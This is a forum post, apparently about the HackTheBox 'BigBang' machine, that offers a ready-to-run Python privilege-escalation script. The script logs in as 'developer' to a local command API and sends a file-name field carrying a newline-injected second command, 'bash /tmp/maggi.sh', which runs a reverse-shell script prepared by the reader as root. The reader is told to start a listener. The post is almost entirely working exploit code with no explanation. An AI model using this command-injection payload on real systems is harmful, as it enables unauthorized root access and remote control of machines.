Bigbang developer to root script
by maggi - Wednesday January 29, 2025 at 04:39 AM
#1
Script to get from developer to root, just make a shell /tmp/maggi.sh
set up listener 
enter developer password

Quote:import requests
import re
import getpass

#  enter the password
username = "developer"
password = getpass.getpass("Enter password: ")

#  login credentials
login_payload = {
    "username": username,
    "password": password
}

# Perform login and capture the response
login_response = requests.post("http://127.0.0.1:9090/login", json=login_payload)
access_token = login_response.json().get("access_token")

if access_token:
    # Define the command payload
    command_payload = {
        "command": "send_image",
        "output_file": "maggi.png\nbash /tmp/maggi.sh"
    }

    # Use the access token to authorize and send the command
    command_response = requests.post(
        "http://127.0.0.1:9090/command",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Content-Type": "application/json"
        },
        json=command_payload
    )

    # Print the response for debugging
    print(command_response.text)
else:
    print("Failed to retrieve access token")
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 25 2,750 5 minutes ago
Last Post: testor12333
  [FREE] CPTS 12 FLAGS pulsebreaker 72 2,183 1 hour ago
Last Post: coolguyaroundyou
  [FREE] HackTheBox Academy - CAPE Path Study Techtom 43 4,218 2 hours ago
Last Post: codexUltron
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 603 92,367 9 hours ago
Last Post: 0xnany
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 374 93,330 9 hours ago
Last Post: 0xnany

Forum Jump:


 Users browsing this forum: 1 Guest(s)